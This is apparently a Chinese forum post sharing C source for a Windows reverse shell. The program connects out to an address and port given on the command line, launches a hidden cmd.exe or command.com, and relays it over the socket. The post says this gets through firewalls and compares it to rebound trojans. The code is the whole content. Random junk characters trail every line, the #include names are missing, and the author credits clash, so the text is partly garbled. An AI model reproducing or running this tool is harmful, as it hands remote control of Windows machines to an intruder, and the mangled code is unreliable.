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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ||fvKyKW>  
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/* ============================== SJ[AiHR  
Rebound port in Windows NT 6`W|V+6|7  
By wind,2006/7 TU-c9"7M~  
===============================*/ MA"#rOcP  
#include nrbazyKm  
#include 2:~cJk{  
/=ACdJ  
#pragma comment(lib,"wsock32.lib") \bRy(Z)  
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void OutputShell(); %09*l%,;  
SOCKET sClient; `{L{wJ:&a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 19w_tSg  
c.-cpFk^L&  
void main(int argc,char **argv) ;%!tf{Si  
{ $2is3;h  
WSADATA stWsaData; \ %_)_"Q  
int nRet; >F|qb*Tm7  
SOCKADDR_IN stSaiClient,stSaiServer; d/4ubf+$k  
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if(argc != 3) F7V6-V{_  
{ 26}u4W$  
printf("Useage:\n\rRebound DestIP DestPort\n"); j$0zD:ppW  
return; j`hNZ%a  
} R9q0,yQW  
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WSAStartup(MAKEWORD(2,2),&stWsaData); r hZQQOQ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r8F{A6iN  
h-,?a_  
stSaiClient.sin_family = AF_INET; *@~`d*d  
stSaiClient.sin_port = htons(0); Seg#s.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t#{x?cF  
*{Yi}d@h(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )5'rw<:="  
{ ]*a@*0=  
printf("Bind Socket Failed!\n"); _ flg Q  
return; MyqiBGTb  
} XUf7yD  
i#tbdx#  
stSaiServer.sin_family = AF_INET; \d ui`F"Cc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); unJ iE!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f!EOYowW  
IQ=CNby:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wn{]#n=|l  
{ InP[yFV-z  
printf("Connect Error!"); ~@?"' !U  
return; _~:j3=1&n  
} /[6:LnaE  
OutputShell(); *b:u * `@  
} e$H|MdYIA  
3]!h{_:u  
void OutputShell() YK7\D:  
{ % kJh6J  
char szBuff[1024]; nZ541o@t9  
SECURITY_ATTRIBUTES stSecurityAttributes; prqT(1  
OSVERSIONINFO stOsversionInfo; u*U_7Uw$  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z~:/#?/  
STARTUPINFO stStartupInfo; :|zp8|  
char *szShell; ~K_]N/ >  
PROCESS_INFORMATION stProcessInformation; {[my"n 2  
unsigned long lBytesRead; Oe/73| >U  
xSx&79Ez<*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pmoGudaRF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +{ S Maq  
stSecurityAttributes.lpSecurityDescriptor = 0; %l%=Dkss  
stSecurityAttributes.bInheritHandle = TRUE; 6W]OpM  
QN3 qF|))  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SQKi2\8w  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %7iUlO}}V  
:a=ro2NH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5 d>nIKW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @J kui  
stStartupInfo.wShowWindow = SW_HIDE; E7k-pquvE  
stStartupInfo.hStdInput = hReadPipe; W;q#ZD(;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %N7gT*B:  
1bT' u5&  
GetVersionEx(&stOsversionInfo); -<]\l3E&J  
Av@& hD\  
switch(stOsversionInfo.dwPlatformId) gHp'3SnS  
{ >c}:   
case 1: 0&.LBv8  
szShell = "command.com"; zoR,RBU6  
break; CQj/e+eE4  
default: x`Vy<h 33  
szShell = "cmd.exe"; 4u@yJ?U  
break; <zfO1~^  
} =VCi8jDkP  
/]pX8 d  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Dp%5$wF)8  
W]} #\\$z  
send(sClient,szMsg,77,0); +[>y O _}  
while(1) jG =(w4+  
{ A J<iM)l|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f&=K]:WDe  
if(lBytesRead) @gs26jX~2}  
{ 37J\i ]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <GSQ2bX[  
send(sClient,szBuff,lBytesRead,0); ww-XMz h  
} JqL<$mSep  
else ]lymY _ >  
{ ] ,!\IqO  
lBytesRead=recv(sClient,szBuff,1024,0); JJ^iy*v  
if(lBytesRead<=0) break; A"Tc^Ij  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (r.$%[,.<  
} t^`<*H  
} luJ{Iq  
We[<BJ o4  
return; 9`OG  
}
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